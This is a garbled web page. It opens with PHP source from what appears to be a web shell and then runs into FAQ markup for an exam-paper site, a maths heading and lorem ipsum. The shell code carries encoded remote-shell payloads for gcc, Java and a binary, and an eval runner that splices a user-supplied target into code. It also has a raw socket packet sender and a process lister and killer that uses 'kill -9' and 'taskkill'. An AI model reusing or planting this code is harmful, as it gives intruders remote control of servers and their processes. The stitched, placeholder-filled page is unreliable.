$GLOBALS['resources']['rs_gcc'] = "rVJhb9owEP0Mv8JjU+tQj5C006TSVEKFSWgtRMA0TRuKgmPIqcGOYjNBp/732nFgwLRJk/ohyd27l3f2vXObKFUql9euuwSVructKlbu/PLj1aN9o6ZbfwucZuuEoRupEhCt9PYIKoAvT7Ekg/kJtpWu2uZM/glLQR+ZOsY5U6AfF/gxvuag1Q0GXKFVDBybIC6WlNA0LlBThz+/z5xf9ZopSEKJCLxOvaYPuqYa0M3iJCki4Ag0DAtsfg4C3/xSg5YEHi3iFWTboPspGgz7084ez0WhglQJLnGsBOCylzdznN8Uo92S5adkZngw7PZ646g7/FbSZGDviyt1MhndfY4m03G/+0DalsKU4YhcYanL95GhlMxo3P8y6Rs9ciaIhCcmFlhU/Rf4jXTYBhS2MnPgiRbAJzdHTecMSHvjWVamB8q45n0oUxrElLKyc3t/HK1DScMuhExZlqFrRAXnjCqW/OAN4l9V3GSd+5p7lHiHiW8lt7rpCjfYxowUTfvjh2CjWLHqhBMvOH8Xfu3dnneqqoZ0yChy9Y1cmaL30LBnzYRkmJr4uV5jmWRob+fl69tpFrKMLNGf2Sk/sULsEKJnnelp7ggX3sUhstP+5w4MwnA8mo6i6V248xVXw/6rm9UmnNQcx7lpH25E6aT8DyflceIdJq/vpLROPtdfAA==";
$GLOBALS['resources']['rs_java'] = "lVRNb9swDD2nQP+D4JM9BHaTDdjWIsOwYYcBAzosvXXBICuMrdWWBYnOB9L891Gy7LhrLz1Ekcgn8vGRcpaxElHb6ywrJJZtnoqmzvK37989dOvlhax1Y5D95VueyiZ9c/PUpAC97fJCt3klBRMVt5b5y3+MPV5eTLSRW47ALHIkwEYqXgWYRgZ7BLW27K40wNcOP1z4rnSLSyR7zaS9GbtuWzz7mhY9A3J3HDTGT+9On11IjlhKm0q7oMh+S8aFi3TqQn2+3YIxcg2juNtGrplpVZx4nhM0h24zyQ8I9yuWswVTsGP++GH2cb666fxSIRPkpDyuzDhPgmNXygpi8WlxlbAQa0Is0p2RCHE+vZqKHurtm6q1ZTyYXox58n/dKjiKMv62F6BRNopBcoSUVFSkBRcPd4YLoHAe7Jau+lBv6Jgvu+ZSxaSfVAUVyk1hOxFcZW4cfO7Oz0S9Jl5RlkuV2TLyLrmJlweLUKcF4E/TaDB4iKPGporXECUpNj+aHZiv3BKhVKo17G83cbSTKkqcPMcQlf6ijm/ItnNWP3DMllBV7JqJRikQCOvfqss+6s/OEfhCZxtkXDbiAZCVoXfdMfiGDhN9V3NagSqwXCxmYQQm/iksaFYRCjCp5sYCHTz6/mrV92QJhuYppLJ9qpExdoF6tONiUy5c1/pmd/2EygL7n8z8tWQ64aQmrHfNVqPEIxGknrIRr9PLUrDHR/Yyn/ErLKQru3Tqj8zDKD95oEUzYMf2AUz+/oX0JhopAe6TQhd/tQplDe562NJEwR5ETMOThG8FqUWTOwsFk876GbWpI9IncOj5GV24r4p+znCAz1J6Psa1T8+H7VlGv7ziddLv9A8=";
$GLOBALS['resources']['rs_executable'] = "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";
$GLOBALS['module']['network']['id'] = "network";
$GLOBALS['module']['network']['title'] = "Network";
$GLOBALS['module']['network']['js_ontabselected'] = "";
$GLOBALS['module']['network']['content'] = "
";
if(isset($p['rsLang']) && isset($p['rsArgs'])){
$rsLang = $p['rsLang'];
$rsArgs = $p['rsArgs'];
$res = "";
if($rsLang=="php"){
$code = get_resource("rs_".$rsLang);
if($code!==false){
$code = "\$target = \"".$rsArgs."\"; ?>".$code;
$res = eval_go($rsLang, $code, "", "");
}
}
else{
$code = get_resource("rs_".$rsLang);
if($code!==false){
$res = eval_go($rsLang, $code, "", $rsArgs);
}
}
if($res===false) $res == "error";
output(html_safe($res));
}
elseif(isset($p['packetTimeout'])&&isset($p['packetSTimeout'])&&isset($p['packetPort'])&&isset($p['packetTimeout'])&&isset($p['packetContent'])){
$packetHost = trim($p['packetHost']);
if(!preg_match("/[a-z0-9]+:\/\/.*/", $packetHost)) $packetHost = "tcp://".$packetHost;
$packetPort = (int) $p['packetPort'];
$packetTimeout = (int) $p['packetTimeout'];
$packetSTimeout = (int) $p['packetSTimeout'];
$packetContent = $p['packetContent'];
if(ctype_xdigit($packetContent)) $packetContent = @pack("H*" , $packetContent);
else{
$packetContent = str_replace(array("\r","\n"), "", $packetContent);
$packetContent = str_replace(array("\\r","\\n"), array("\r", "\n"), $packetContent);
}
$res = "";
$sock = fsockopen($packetHost, $packetPort, $errNo, $errStr, $packetTimeout);
if(!$sock){
$res .= "";
$res .= html_safe(trim($errStr))." (error ".html_safe(trim($errNo)).")
";
}
else{
stream_set_timeout($sock, $packetSTimeout);
fwrite($sock, $packetContent."\r\n\r\n\x00");
$counter = 0;
$maxtry = 1;
$bin = "";
do{
$line = fgets($sock, 1024);
if(trim($line)=="") $counter++;
$bin .= $line;
}while($counter<$maxtry);
fclose($sock);
$res .= "";
}
output($res);
}
$GLOBALS['module']['processes']['id'] = "processes";
$GLOBALS['module']['processes']['title'] = "Processes";
$GLOBALS['module']['processes']['js_ontabselected'] = "show_processes();";
$GLOBALS['module']['processes']['content'] = "";
if(!function_exists('show_processes')){
function show_processes(){
$output = '';
$wcount = 11;
if(is_win()){
$cmd = "tasklist /V /FO csv";
$wexplode = "\",\"";
}
else{
$cmd = "ps aux";
$wexplode = " ";
}
$res = execute($cmd);
if(trim($res)=='') return false;
else{
$output .= "";
if(!is_win()) $res = preg_replace('#\ +#',' ',$res);
$psarr = explode("\n",$res);
$fi = true;
$tblcount = 0;
$check = explode($wexplode,$psarr[0]);
$wcount = count($check);
foreach($psarr as $psa){
if(trim($psa)!=''){
if($fi){
$fi = false;
$psln = explode($wexplode, $psa, $wcount);
$output .= "
action ";
foreach($psln as $p) $output .= "".trim(trim(strtolower($p)) ,"\"")." ";
$output .= " ";
}
else{
$psln = explode($wexplode, $psa, $wcount);
$pid = trim(trim($psln[1]),"\"");
$tblcount = 0;
$output .= "";
foreach($psln as $p){
if(trim($p)=="") $p = " ";
$p = trim(trim($p) ,"\"");
$p = html_safe($p);
if($tblcount == 0){
$output .= "
kill ".$p." ";
$tblcount++;
}
else{
$tblcount++;
if($tblcount == count($psln)) $output .= "".$p." ";
else $output .= "".$p." ";
}
}
$output .= " ";
}
}
}
$colspan = count($psln)+1;
$colspanAll = $colspan+1;
$output .= "
kill selected refresh
";
}
return $output;
}
}
if(isset($p['showProcesses'])){
$processes = show_processes();
if($processes!==false) output($processes);
output('error');
}
elseif(isset($p['allPid'])){
$allPid = explode(" ", $p['allPid']);
$counter = 0;
foreach($allPid as $pid){
$pid = trim($pid);
if(!empty($pid)){
if(function_exists("posix_kill")){
if(posix_kill($pid,'9')) $counter++;
}
else{
if(is_win()){
$cmd = execute("taskkill /F /PID ".$pid);
$cmd = execute("tasklist /FI \"PID eq ".$pid."\"");
if(strpos($cmd,"No tasks are running")!==false) $counter++;
}
else{
$cmd = execute("kill -9 ".$pid);
if((strpos($cmd, "such process")===false)&&(strpos($cmd, "not permitted")===false)){
$cmd = trim(execute("ps -p ".$pid));
$check = explode("\n", $cmd);
if(count($check)==1) $counter++;
}
}
}
}
}
if($counter>0) output($counter);
else output('error');
}
$error = @ob_get_contents();
$error_html = (!empty($error))?"".html_safe($error)."
":"";
@ob_end_clean();
?>
'>
",
"datePublished": "2023-11-05T08:00:00+08:00",
"dateModified": "2024-03-26T08:00:00+08:00"
}
}, {
"@type": "Question",
"name": "What is Test Generator Software?",
"acceptedAnswer": {
"@type": "Answer",
"text": "Test Generate is used to generate and create Question Papers for CBSE JEE NEET UPSC BANKING CUET OLYMPIAD Exams for Free at SaraNextGen in PDF Free Download"
}
}, {
"@type": "Question",
"name": "Which is the best Test Generator - Exam generator, Exam test Generator Question Papers?",
"acceptedAnswer": {
"@type": "Answer",
"text": "SaraNextGen is the One and Only Best Website to Create, Make and Generate Question Papers for Free PDF Download"
}
},
{
"@type": "Question",
"name": "Which is the best Study App For Students and Teacher ?",
"acceptedAnswer": {
"@type": "Answer",
"text": "SaraNextGen Study App India's Trusted Website and Mobile App For Students Parents and Teachers and also to Create, Make and Generate Question Papers in PDF Download"
}
},
{
"@type": "Question",
"name": "Which is the best Test Generator For Teachers?",
"acceptedAnswer": {
"@type": "Answer",
"text":"The Only SaraNextGen StudyApp is the Best Test Maker App to Create, Generate Questions for CBSE JEE NEET UPSC BANK CUET Exams in PDF Free Download"}
}]
}
MATHEMATICS SOLUTION CHAPTER 1
( OR )
LLorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum
Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum